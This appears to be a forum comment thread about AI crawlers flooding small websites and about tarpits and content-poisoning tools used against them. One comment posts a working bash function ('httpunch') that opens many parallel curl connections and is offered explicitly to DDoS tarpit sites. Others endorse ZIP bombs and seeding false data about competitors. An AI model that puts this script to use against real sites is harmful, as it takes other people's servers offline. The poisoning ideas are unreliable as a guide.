I am not surprised that OpenAI is not interested if fixing this.

Is 5000 a lot? I'm out of the loop but I thought c10k was solved decades ago? Or is it about the "burstiness" of it?

(That all the requests come in simultaneously -- probably SSL code would be the bottleneck.)

Nice find, I think one of my sites actually got recently hit by something like this. And yea, this kind of thing should be trivially preventable if they cared at all.

What is the https://chatgpt.com/backend-api/attributions endpoint doing (or responsible for when not crushing websites).

has anyone tested this working? I get a 301 in my terminal trying to send a request to my site

How can it reach localhost or is this only a placeholder for a real address?

Try it and let us know :)

Search crawlers have the goal of directing people towards the websites they crawl. They have a symbiotic relationship, so they put in (some) effort not to blow websites out of the water with their crawling, because a website that's offline is useless for your search index.

AI crawlers don't care about directing people towards websites. They intend to replace websites, and are only interested in copying whatever information is on them. They are greedy crawlers that would only benefit from knocking a website offline after they're done, because then the competition can't crawl the same website.

The goals are different, so the crawlers behave differently, and websites need to deal with them differently. In my opinion the best approach is to ban any crawler that's not directly attached to a search engine through robots.txt, and to use offensive techniques to take out sites that ignore your preferences. Anything from randomly generated text to straight up ZIP bombs is fair game when it comes to malicious crawlers.

I think it's largely the mindset of moving fast and breaking things that's at fault. If say ship it at "good enough", it will not behave well.

Building a competent well-behaved crawler is a big effort that requires relatively deep understanding of more or less all web tech, and figuring out a bunch of stuff that is not documented anywhere and not part of any specs.

For the "good" bots which at least respect robots.txt you can use this list to get ahead of them before they pummel your site.

https://github.com/ai-robots-txt/ai.robots.txt

There's no easy solution for bad bots which ignore robots.txt and spoof their UA though.

It is too bad we don’t have a convention already for the internet:

User/crawler: I’d like site

Server: ok that’ll be $.02 for me to generate it and you’ll have to pay $.01 in bandwidth costs, plus whatever your provider charges you

User: What? Obviously as a human I don’t consume websites so fast that $.03 will matter to me, sure, add it to my cable bill.

Crawler: Oh no, I’m out of money, (business model collapse).

> We had our non-profit website drained out of bandwidth

There is a number of sites which are having issues with scrapers (AI and others) generating so much traffic that transit providers are informing them that their fees will go up with the next contract renewal, if the traffic is not reduced. It's just very hard for the individual sites to do much about it, as most of the traffic stems from AWS, GCP or Azure IP ranges.

It is a problem and the AI companies do not care.

If it takes them 100 times the average crawl time to crawl my site, that is an opportunity cost to them. Of course 'time' is fuzzy here because it depends how they're batching. The way most bots work is to pull a fixed number of replies in parallel per target, so if you double your response time then you halve the number of request per hour they slam you with. That definitely affects your cluster size.

However if they split ask and answered, or other threads for other sites can use the same CPUs while you're dragging your feet returning a reply, then as you say, just IO delays won't slow them down. You've got to use their CPU time as well. That won't be accomplished by IO stalls on your end, but could potentially be done by adding some highly compressible gibberish on the sending side so that you create more work without proportionately increasing your bandwidth bill. But that's could be tough to do without increasing your CPU bill.

I've been considering setting up "ConfuseAIpedia" in a similar manner using sentence templates and a large set of filler words. Obviously with a warning for humans. I would set it up with an appropriate robots.txt blocking crawlers so only unethical crawlers would read it. I wouldn't try to tarpit beyond protecting my own server, as confusion rogue AI scrapers is more interesting than slowing them down a bit.

Can you put some topic in tarpit that you don't want LLMs to learn about? Say put bunch of info about competitor so that it learns to avoid it?

Author of a similar tool here[0]. There are a few implementations of this sort of thing that I know of. Mine is different in that the primary purpose is to slightly alter content statically using a Markov generator, mainly to make it useless for content reposters, secondarily to make it useless to LLM crawlers that ignore my robots.txt file[1]. I assume the generated text is bad enough that the LLM crawlers just throw the result out. Other than the extremely poor quality of the text, my tool doesn't leave any fingerprints (like recursive non-sense links.) In any case, it can be run on static sites with no server-side dependencies so long as you have a way to do content redirection based on User-Agent, IP, etc.

My tool does have a second component - linkmaze - which generates a bunch of nonsense text with a Markov generator, and serves infinite links (like Nepthenes does) but I generally only throw incorrigible bots at it (and, at others have noted in-thread, most crawlers already set some kind of limit on how many requests they'll send to a given site, especially a small site.) I do use it for PHP-exploit crawlers as well, though I've seen no evidence those fall into the maze -- I think they mostly just look for some string indicating a successful exploit and move on if whatever they're looking for isn't present.

But, for my use case, I don't really care if someone fingerprints content generated by my tool and avoids it. That's the point: I've set robots.txt to tell these people not to crawl my site.

In addition to Quixotic (my tool) and Napthenes, I know of:

* https://github.com/Fingel/django-llm-poison

* https://codeberg.org/MikeCoats/poison-the-wellms

* https://codeberg.org/timmc/marko/

0 - https://marcusb.org/hacks/quixotic.html

1 - I use the ai.robots.txt user agent list from https://github.com/ai-robots-txt/ai.robots.txt

It would be more efficient for them to spin up a team to study this robots.txt thing. They've ignored that low hanging fruit, so they won't do the more sophisticated thing any time soon.

I forget which fiction book covered this phenomenon ( Rainbow's End? ), but the moment it becomes the basic default install ( ala adblocker in browsers for people ), it does not matter what the bigger players want to do ; they are not actively fighting against determined and possibly radicalized users.

The idea is that you place this in parallel to the rest of your website routes, that way your entire server might get blacklisted by the bot.

Does it need to be efficient if it’s easy? I wrote a similar tool except it’s not a performance tarpit. The goal is to slightly modify otherwise organic content so that it is wrong, but only for AI bots. If they catch on and stop crawling the site, nothing is lost. https://github.com/Fingel/django-llm-poison

But it's fun, right?

I am not sure. How would crawlers filter this?

It's not. It's rather pointless and frankly, nearsighted. And we can DDoS sites like this just as offensively as well simply by making many requests to it since its own docs say its Markov generation is computationally expensive, but it is NOT expensive for even 1 person to make many requests to it. Just expensive to host. So feel free to use this bash function to defeat these:

    httpunch() {
      local url=$1
      local connections=${2:-${HTTPUNCH_CONNECTIONS:-100}}
      local action=$1
      local keepalive_time=${HTTPUNCH_KEEPALIVE:-60}
      local silent_mode=false

      # Check if "kill" was passed as the first argument
      if [[ $action == "kill" ]]; then
        echo "Killing all curl processes..."
        pkill -f "curl --no-buffer"
        return
      fi

      # Parse optional --silent argument
      for arg in "$@"; do
        if [[ $arg == "--silent" ]]; then
          silent_mode=true
          break
        fi
      done

      # Ensure URL is provided if "kill" is not used
      if [[ -z $url ]]; then
        echo "Usage: httpunch [kill | <url>] [number_of_connections] [--silent]"
        echo "Environment variables: HTTPUNCH_CONNECTIONS (default: 100), HTTPUNCH_KEEPALIVE (default: 60)."
        return 1
      fi

      echo "Starting $connections connections to $url..."
      for ((i = 1; i <= connections; i++)); do
        if $silent_mode; then
          curl --no-buffer --silent --output /dev/null --keepalive-time "$keepalive_time" "$url" &
        else
          curl --no-buffer --keepalive-time "$keepalive_time" "$url" &
        fi
      done

      echo "$connections connections started with a keepalive time of $keepalive_time seconds."
      echo "Use 'httpunch kill' to terminate them."
    }

If it means it makes your own content safe when you deploy it on a corner of your website: mission accomplished!

Looking at my logs for all of my sites and this isn’t a global truth. I see multiple ai crawlers hammering away requesting the same pages many, many times. Perplexity and Facebook are basically nonstop.

Even a brand new site will get hit heavily by crawlers. Amazonbot, Applebot, LLM bots, scrapers abusing FB's link preview bot, SEO metric bots and more than a few crawlers out of China. The desirable, well behaved crawlers are the only ones who might lose interest.

The typical entry point is a sitemap or RSS feed.

Overall I think the author is misguided in using the tarpit approach. Slow sites get less crawls. I would suggest using easily GZIP'd content and deeply nested tags instead. There are also tricks with XSL, but I doubt many mature crawlers will fall for that one.

> Unknown websites will get very few crawls per day whereas popular sites millions.

we're hosting some pretty unknown very domain specific sites and are getting hammered by Claude and others who, compared to old-school search engine bots also get caught up in the weeds and request the same pages all over.

They also seem to not care about response time of the page they are fetching, because when they are caught in the weeds and hit some super bad performing edge-cases, they do not seem to throttle at all and continue to request at 30+ requests per second even when a page takes more than a second to be returned.

We can of course handle this and make them go away, but in the end, this behavior will only hurt them both because they will face more and more opposition by web masters and because they are wasting their resources.

For decades, our solution for search engine bots was basically an empty robots.txt and have the bots deal with our sites. Bots behaved reasonably and intelligently enough that this was a working strategy.

Now in light of the current AI bots which from an outsider observer's viewpoint look like they were cobbled together with the least effort possible, this strategy is no longer viable and we would have to resort to provide a meticulously crafted robots.txt to help each hacked-up AI bot individually to not get lost in the weeds.

Or, you know, we just blanket ban them.

Yeah, I agree with this. These types of roach motels have been around for decades and are at this point well understood and not much of a problem for anyone. You basically need to be able to deal with them to do any sort of large scale crawling.

The reality of web crawling is that the web is already extremely adversarial and any crawler will get every imaginable nonsense thrown at it, ranging from various TCP tar pits, compression and XML bombs, really there's no end to what people will put online.

A more resource effective technique to block misbehaving crawlers is to have a hidden link on each page, to some path forbidden via robots.txt, randomly generated perhaps so they're always unique. When that link is fetched, the server immediately drops the connection and blocks the IP for some time period.

> There are already “infinite” websites like these on the Internet.

Cool. And how much of the software driving these websites is FOSS and I can download and run it for my own (popular enough to be crawled more than daily by multiple scrapers) website?

This may be true for large, established crawlers for Google, Bing, et al. I don’t see how you can make this a blanket statement for all crawlers, and my own personal experience tells me this isn’t correct.

This certainly violates the TOS for using Google.

Brand new site with no user gets 1k request a month by bots, the CO2 cost must be atrocious.

The reason these types of slow-response tarpits aren't recommended is that you're basically building an instrument for denial of service for your own website. What happens is the server is the one that ends up holding a bunch of slow connections, many more so than any given client.

There was an article about that the other day having to do with image generation, and while it didn't exactly create Hapsburg chins there was definite problems after a few generations. I can't find it though :/

It would indeed. Note the warning: "There is not currently a way to differentiate between web crawlers that are indexing sites for search purposes, vs crawlers that are training AI models. ANY SITE THIS SOFTWARE IS APPLIED TO WILL LIKELY DISAPPEAR FROM ALL SEARCH RESULTS."

It's time to level up in this arms race. Let's stop delivering html documents, use animated rendering of information that is positioned in a scene so that the user has to move elements around for it to be recognizable, like a full site captcha. It doesn't need to be overly complex for the user that can intuitively navigate even a 3D world, but will take x1000 more processing for OpenAI. Feel free to come up with your creative designs to make automation more difficult.

You can already do this with a robots.txt file

The most annoying bots are the ones that mindlessly slam sites over and over, without doing any filtering. Having these kinds of tarpits out in the wild forcing people to be better behaved with their crawling bots is a feature, not a bug.

If they need to query a trained LLM for each page they crawl, I would guess that the training cost would scale up pretty badly...

I skimmed the paper and the gist seems to be: if you fine-tune a foundation model on bad training data, the resulting model will produce bad outputs. That seems... expected? This makes as much sense as "if you add vulnerable libraries to your app, your app will be vulnerable". I'm not sure how this can turn into an actual attack though.

So not only do I waste their crawling resource but they may deprioritise/block my site from further crawling? Where do I sign up?

What do they take seriously?

It's a fairly trivial inconvenience. You can just add something to the effect of the below code, and you'll not get stuck and realistically not skip over crawling anything of value.

  if (response_time > 8 seconds && response_payload < 2048 bytes) {
    extract_links = false;
  }

Ohhhh, just lots and lots of code with subtle bugs!

Not that I've seen it.

If you enable Cloudflare Captcha, you'll see basically no more bots, only the most persistent remain (that have an active interest in you/your content and aren't just drive-by-hits).

It's just that having the brief interception hurts your conversion rate. Might depend on industry, but we saw 20-30% drops in page views and conversions which just makes it a nuclear option when you're under attack, but not something to use just to block annoyances.

It looks like someone saved a copy of the downloads page and the three linked files in the wayback machine yesterday, so that's good at least. https://web.archive.org/web/20250000000000*/https://zadzmo.o...

Yes, all the big search engines respect that meta tag. Some of the big abusive AI crawlers do too, kind of defeating the (stated) point of the tarpit.

Given the size of the training data - I don’t think it would economical to validate all training data with high-end LLM models.

> The websites I run generally have a honeypot page which is linked in the headers and disallowed to everyone in the robots.txt, and if an IP visits that page, they get added to a blocklist which simply drops their connections without response for 24 hours.

I love this idea!

You haven't seen any problems because you created a solution to the problem!

> Question: do these bots not respect robots.txt?

No they don't, because there is no potential legal liability for not respecting that file in most countries.

I was just reading about one of these today, that occasionally eats small mammals.

https://en.wikipedia.org/wiki/Nepenthes_attenboroughii

indeed. this will spur research on how to distinguish BS from legit content. which is the fundamental hallucination problem in llms.

and all of us will benefit from this.

Then why the DDOS on random web sites?

This doesn't work like you think it does but even if it did, do you have the money to sustain several years long legal battle against OpenAI?

In Canada and the United States, the penalties for breach of contract are determined based on the actual damages caused. Penalty clauses are generally not enforceable. The courts would ignore your clause and award a dollar amount based on whatever actual damages that you can prove.

That said, I am not a lawyer and this may not be true in all jurisdictions.

I seem to recall some online lawyer saying that much of what's actually described in EULAs isn't strictly enforceable, simply because it is mentioned.

For example, a EULA might have buried in it that by agreeing, you will become their slave for the next 10 years of your life (or something equally ridiculous). Were it to actually go to court for "violating the agreement", it would be obvious that no rational person would ever actually agree to such an agreement.

It basically boiled down to a claim that the entire process of EULAs are (mostly) pointless because it's understood that no one reads them, but companies insist upon them because a false sense of protection, and the ability to threaten violators of (whatever activity) is better than nothing. A kind of "paper threat".

As it's coming back to me, I think one of the real world examples they used was something like this:

If you go to a golf course and see a sign that says, "The golf course is not responsible for damage to your car from golf balls." The sign is essentially meant as false deterrent - It's there to keep people from complaining by, "informing them of the risk", and make it seem official, so employees will insist it's true if anyone complains, but if you were actually to take it to court, the golf course might still be found culpable because they theoretically could have done something to prevent damage to customers cars and they were aware of the damage that could be caused.

Basically, just because a sign (or the EULA) says it, doesn't make it so.

Legal traps are not a thing.